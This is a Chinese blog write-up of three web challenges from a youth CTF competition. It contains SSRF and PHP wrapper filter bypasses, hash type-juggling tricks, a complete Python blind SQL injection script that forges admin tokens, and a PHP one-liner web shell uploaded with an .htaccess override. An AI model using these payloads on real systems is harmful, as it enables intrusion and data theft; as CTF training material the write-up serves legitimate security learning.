青少年CTFweb

穿梭隐藏的密钥

在一次惊心动魄的太空任务中,你发现了一个隐藏在偏远太空站内部的高度机密的加密密钥。这个密钥可能拥有解锁重要情报的能力,但是要获取它并不是一件简单的事情。
这个密钥被放置在一台极其严密防护的计算机系统中。这台计算机不仅与外界网络完全隔离,而且还设置了多重安全机制,包括身份验证,层层难关等。你作为一名出色的太空探险家,要想成功获取密钥,你必须设法绕过这些安全防护,利用你的专业知识和创造力,想办法通过一些巧妙的方式访问这台计算机,并成功获取隐藏的密钥。准备好你的大脑,开始你的穿梭之旅吧!

打开环境,当鼠标移到click to me,Baby时,他会跳动,F12不能用。。。还有CTRL+U查看一下源代码

发现了有用的代码

// 监听整个文档的keydown事件
document.addEventListener('keydown', function(event) {
  // 检查是否按下了F12键
  if (event.key === 'F12') {
    // 阻止F12键的默认行为(通常是打开开发者工具)
    event.preventDefault();
  }
});

// 获取id为text的元素
var text = document.getElementById('text');

// 创建一个新的img元素作为自定义背景
var customBackground = document.createElement('img');

// 设置新创建的img元素的id为custom-background
customBackground.setAttribute('id', 'custom-background');
// 设置img元素的src属性,指向图片路径
customBackground.src = './image/2.png';
// 将img元素添加到文档的body中
document.body.appendChild(customBackground);

// 为text元素添加点击事件监听器
text.addEventListener('click', function() {
  // 当text元素被点击时,导航到c3s4f.php页面
  window.location.href = 'c3s4f.php';
});

// 为text元素添加鼠标悬停事件监听器
text.addEventListener('mouseover', function() {
  // 当鼠标悬停在text元素上时,调用moveText函数
  moveText();
});

// 定义moveText函数,用于移动text元素到随机位置
function moveText() {
  // 获取窗口的宽度和高度
  var windowWidth = window.innerWidth;
  var windowHeight = window.innerHeight;

  // 计算text元素新的随机X轴位置,使其不超出窗口边界
  var newPositionX = Math.random() * (windowWidth - text.offsetWidth);
  // 计算text元素新的随机Y轴位置,使其不超出窗口边界
  var newPositionY = Math.random() * (windowHeight - text.offsetHeight);

  // 设置text元素的新位置
  text.style.left = newPositionX + 'px';
  text.style.top = newPositionY + 'px';
}

发现了重要的信息

 var text = document.getElementById('text');
    var customBackground = document.createElement('img');

    customBackground.setAttribute('id', 'custom-background');
    customBackground.src = './image/2.png'; 
    document.body.appendChild(customBackground);

    text.addEventListener('click', function() {
      window.location.href = 'c3s4f.php'; 
    });
  • 点击事件:为idtext的元素添加点击事件监听器,当元素被点击时,浏览器将导航到c3s4f.php页面。
  • 悬停事件:为该元素添加鼠标悬停事件监听器,当鼠标悬停在元素上时,调用moveText()函数。

我们直接访问c3s4f.php,进入这个界面

继续找信息,在源代码里看到信息:

<!--    多fuzzfuzz总能fuzz出点啥  -->

 这儿需要我们FUZZ出参数,使用工具Arjun(url参数扫描工具)查找

FUZZ参数名工具-Arjun_arjun工具-CSDN博客

arjun -u http://challenge.qsnctf.com:30268/c3s4f.php

得到了参数shell,使用dirsearch扫一扫后台

大佬们说扫出来了secret.php,。。。。嗯

先进行传参?shell=123

发现应该是SSRF,直接构造

?shell=http://127.0.0.1/secret.php

发现没有用,应该是过滤了127.0.0.1,换种方法

?shell=http://localtest.me/secret.php

我们得到了需要用到的KEY:MSIBLG ,并且得到下一关的地址cha11eng3.php

访问后得到源码,代码审计

<?php
// 显示当前文件的源代码
show_source(__FILE__);

// 包含k4y.php文件
include('k4y.php');

// 包含一次flag.php文件
include_once('flag.php');

// Challenge 1
if (isset($_GET['DrKn'])) { // 检查是否通过GET请求传递了参数DrKn
    $text = $_GET['DrKn']; // 获取参数DrKn的值
    if(@file_get_contents($text) == $key) { // 检查从$text路径获取的文件内容是否与$key相同
        echo "有点东西呢"."</br>".$key1."</br>"; // 输出提示信息和$key1
    } else {
        die("貌似状态不在线啊(╯_╰)</br>"); // 否则输出错误信息并终止脚本执行
    }
} 

// Challenge 2
if (isset($_GET[$key1])) { // 检查是否通过GET请求传递了$key1的参数
    $damei = $_GET[$key1]; // 获取参数$key1的值
    if (hash("md4", $damei) == $damei) { // 检查$damei的MD4哈希值是否与$damei相同
        echo "又近了一步呢,宝~"."</br>".$key2."</br>".$key3; // 输出提示信息和$key2、$key3
    } else {
        die("达咩哟~"); // 否则输出错误信息并终止脚本执行
    }
} 

// Challenge 3
if (isset($_POST[$key2]) && isset($_POST[$key3])) { // 检查是否通过POST请求传递了$key2和$key3的参数
    $user = $_POST[$key2]; // 获取参数$key2的值
    $pass = $_POST[$key3]; // 获取参数$key3的值
  
    if (strlen($user) > 4 || strlen($pass) > 5) { // 检查$user的长度是否大于4或$pass的长度是否大于5
        die("还得练"); // 如果是,输出错误信息并终止脚本执行
    }
    if ($user !== $pass && md5($user) === md5($pass)) { // 检查$user不等于$pass且它们的MD5哈希值相同
        echo "还不错哦"."$flag"; // 输出成功信息和$flag
    } else {
        die("nonono"); // 否则输出错误信息并终止脚本执行
    }
}
?>

 三个挑战

  • Challenge 1
    • 检查GET请求中是否包含参数DrKn
    • 获取参数DrKn的值并检查其文件内容是否等于$key
    • 如果匹配,输出提示信息和$key1;否则,输出错误信息并终止脚本执行。
  • Challenge 2
    • 检查GET请求中是否包含参数$key1
    • 获取参数$key1的值并检查其MD4哈希值是否等于自身。
    • 如果匹配,输出提示信息和$key2$key3;否则,输出错误信息并终止脚本执行。
  • Challenge 3
    • 检查POST请求中是否包含参数$key2$key3
    • 获取参数$key2$key3的值。
    • 检查用户和密码的长度是否符合要求。
    • 检查用户和密码是否不同且其MD5哈希值相同。
    • 如果符合,输出成功信息和$flag;否则,输出错误信息并终止脚本执行。

第一层:

我们需要讲上一关得到的KEY传给DrKn,还要绕过file_get_contents()函数,可以使用php://input协议或者php://data协议

?DrKn=data://text/plain,MSIBLG

得到了下一层的参数:M_ore.8

第二层:

MD4弱比较绕过,可以通过科学计算法比较绕过。找一个值是一个科学计算法0e开头的,其md4加密后也为0e开头,弱类型比较绕过。

amd4(a)
0e2512880190e874956163641961271069404332409
0e0012333333333333345577788890e434041524824285414215559233446
M[ore.8=0e001233333333333334557778889
在url中不能识别_,所以用[代替

得到下一层需要用到的两个参数wtf、mC

第三层:

MD5强比较绕过,直接使用数组绕过得到flag

wtf[]=1&mC[]=2

EzLogin 

Infernity师傅写了一个没啥大用的网站,他的朋友都说他有点大病,你们觉得他写的这个网站是不是有啥大病?

打开环境,是一个登录页面

输入admin/123456,回显账号密码错误,不断测试,发现在用户名出存在sql二次注入,并且发现过滤了 union 、if 、 > 、 < 、concat、(空格)等,那我们可以使用可以布尔盲注。
直接用脚本跑

脚本:

import requests
import base64
import json

# 目标URL
url = "http://challenge.qsnctf.com:31255/"

# 字符集,用于构造SQL注入的payload
str1 = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}@#$\()*+,-./:;<=>?[\\]^`|~_&!%'

# 创建会话
s = requests.Session()

# 注册用户
def register(username):
    data = {"username": username, "password": "123"}
    r = s.post(url + 'register.php', data)
    # print(r.text)

# 登录用户并获取TOKEN
def login(username):
    data = {"username": username, "password": "123"}
    res = requests.post(url + 'login.php', data, allow_redirects=False)
    cookie = res.headers['Set-Cookie'].split('=')[1]
    return cookie

# 访问home.php页面,获取包含搜索结果的内容
def home(token):
    cookies = {"TOKEN": token}
    r = s.get(url + 'home.php', cookies=cookies)
    res = r.text.split('<div class="seached-text">')[1].split('</div>')[0]
    res = res.replace('<br>', '\n')
    # print(res)
    return res

# 修改TOKEN,使其具有管理员权限
def token_fix(token):
    token = bytes.fromhex(token)
    token = base64.b64decode(token)
    token = json.loads(token)
    # print(token)
    token['is_admin'] = 1
    token = json.dumps(token)
    token = base64.b64encode(token.encode())
    token = token.hex()
    return token

# 进行注册、登录、修改TOKEN并访问主页,获取结果
def request(username):
    register(username)
    token = login(username)
    token = token_fix(token)
    res = home(token)
    return res

# 获取数据库名称的长度
def database_length():
    for i in range(10):
        username = "admin'and length(database()) = {}#".format(i)
        username = username.replace(' ', '/**/')
        res = request(username)

        if 'No user found' not in res:
            print('database_length: ', i)
            return i
    return 0

# 获取数据库名称
def database_name(length):
    name = ''
    for idx in range(1, length + 1):
        for char in str1:
            payload = "admin'and substr(database(),{},1) = '{}'#".format(idx, char)
            payload = payload.replace(' ', '/**/')
            res = request(payload)
            if 'No user found' not in res:
                name += char
                print(name)
                break

# 获取表名称的长度
def table_length():
    cnt = {}
    for i in range(20):
        flag = 1
        for j in range(20):
            flag = 0
            payload = "admin'and length((select table_name from information_schema.tables where table_schema='dkctf' limit {},1))={}#".format(
                i, j)
            payload = payload.replace(' ', '/**/')
            res = request(payload)
            # print(res)
            if 'No user found' not in res:
                print('table_length: ', i, j)
                cnt[i] = j
                flag = 1
                break
        if flag == 0:
            return cnt
    return cnt

# 获取表名称
def table_name(cnt):
    tables = {}
    for i in range(len(cnt)):
        table = ''
        for j in range(1, cnt[i] + 1):
            for char in str1:
                payload = "admin'and substr((select table_name from information_schema.tables where table_schema='dkctf' limit {},1),{},1)='{}'#".format(
                    i, j, char)
                payload = payload.replace(' ', '/**/')
                res = request(payload)
                # print(res)
                if 'No user found' not in res:
                    table += char
                    print(i, table)
                    break
        tables[i] = table
    return tables

# 获取列名称的长度
def column_length():
    cnt = {}
    for i in range(10):
        flag = 1
        for j in range(20):
            flag = 0
            payload = "admin'and length((select column_name from information_schema.columns where table_schema='dkctf' and table_name='secret' limit {},1))={}#".format(
                i, j)
            payload = payload.replace(' ', '/**/')
            res = request(payload)
            print(res)
            if 'No user found' not in res:
                print('column_length: ', i, j)
                cnt[i] = j
                flag = 1
                break
        if flag == 0:
            return cnt
    return cnt

# 获取列名称
def column_name(cnt):
    columns = {}
    for i in range(len(cnt)):
        column = ''
        for j in range(1, cnt[i] + 1):
            for char in str1:
                payload = "admin'and substr((select column_name from information_schema.columns where table_schema='dkctf' and table_name='secret' limit {},1),{},1)='{}'#".format(
                    i, j, char)
                payload = payload.replace(' ', '/**/')
                res = request(payload)
                # print(res)
                if 'No user found' not in res:
                    column += char
                    print(i, column)
                    break
        columns[i] = column
    return columns

# 获取表数据
def data():
    flag = ''
    for i in range(1, 100):
        for char in str1:
            payload = "admin'and ord(substr((select sseeccrreett from secret),{},1))={}#".format(i, ord(char))
            payload = payload.replace(' ', '/**/')
            res = request(payload)
            # print(res)
            if 'No user found' not in res:
                flag += char
                print(i, flag)
                break

if __name__ == '__main__':
    data()

ezsign

p2zhh写了个网页,你可以帮他测试一下吗

打开环境,是一个登录界面

 admin/12346看一看,进入了一个留言板界面

输入ls

回显ls,使用dirsearch扫一扫

dirsearch -u http://challenge.qsnctf.com:31355 

 

发现index.php.bak,访问

<?php 
error_reporting(0); // 禁用错误报告

// 检查 cookie 中是否有 token
$token = $_COOKIE['token'] ?? null;

if ($token) {
    extract($_GET); // 将 GET 参数导入到当前符号表
    $token = base64_decode($token); // 解码 token
    $token = json_decode($token, true); // 将 JSON 解码为数组

    $username = $token['username'];
    $password = $token['password'];
    $isLocal = false;

    // 检查请求是否来自本地
    if ($_SERVER['REMOTE_ADDR'] == "127.0.0.1") {
        $isLocal = true;
    }

    if ($isLocal) {
        echo 'Welcome Back,' . $username . '!';

        // 如果 upload 目录下存在 $username.png 文件,则显示图片
        if (file_exists('upload/' . $username . '/' . $token['filename'])) {
            // 显示图片,并缩小图片
            echo '<br>';
            echo '<img src="upload/' . $username . '/' . $token['filename'] .'" width="200">';
        } else {
            echo '请上传您高贵的头像。';
            
            // 显示上传头像的表单
            $html = <<<EOD
            <form method="post" action="upload.php" enctype="multipart/form-data">
                <input type="file" name="file" id="file">
                <input type="submit" value="Upload">
            </form>
            EOD;
            echo $html;
        }
    } else {
        // 显示留言板
        $html = <<<EOD
        <h1>留言板</h1>
        <label for="input-text">Enter some text:</label>
        <input type="text" id="input-text" placeholder="Type here...">
        <button onclick="displayInput()">Display</button>
        EOD;
        echo $html;
    }
} else {
    // 如果没有 token,则显示登录表单
    $html = <<<EOD
<!DOCTYPE html>
<html>
<head>
    <title>Login</title>
</head>
<body>
    <h2>Login</h2>
    <form method="post" action="./login.php">
        <div>
            <label for="username">Username:</label>
            <input type="text" name="username" id="username" required>
        </div>
        <div>
            <label for="password">Password:</label>
            <input type="password" name="password" id="password" required>
        </div>
        <div>
            <input type="submit" value="Login">
        </div>
    </form>
</body>
</html>
EOD;
    echo $html;
}
?>

<script>
    // JavaScript 函数,用于显示用户输入的内容
    function displayInput() {
      var inputText = document.getElementById("input-text").value;
      document.write(inputText);
    }
</script>
  • 检查是否有token:从cookie中获取token,如果存在则继续执行,否则显示登录表单。
  • 解码token:将token从base64解码,并将JSON字符串解码为数组。
  • 检查请求来源:判断请求是否来自本地(IP地址为127.0.0.1),如果是本地请求,则显示欢迎信息和头像上传功能,否则显示留言板。
  • 显示头像:如果用户上传了头像并且头像文件存在,则显示头像;否则显示上传头像的表单。
  • 显示登录表单:如果没有token,则显示登录表单供用户登录。
  • JavaScript函数:在留言板页面上提供一个JavaScript函数,用于显示用户输入的文本内容。

大概就是extract($_GET);存在变量覆盖,我们可以利用可以利用这个把$_SERVER['REMOTE_ADDR']覆盖成127.0.0.1,构造url

/?_SERVER[REMOTE_ADDR]=127.0.0.1

来到了文件上传的界面 ,我们上传一句话木马shell.php

GIF89a
<?php eval($_POST[shell]);?>

显示上传成功,但是没有上传路径,并且一句话木马的php文件但是发现不能正常解析,源码直接回显了,想了一下应该是配置文件里面进行了相关设置,那我们自己上传.htaccess文件改配置就可以了

php_flag engine on	# 打开php解析
AddType application/x-httpd-php .php	# 将该目录及子目录的所有文件均映射为php文件类型

之后再上传一句话木马文件,使用蚁剑连接,得到flag

  • 8
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值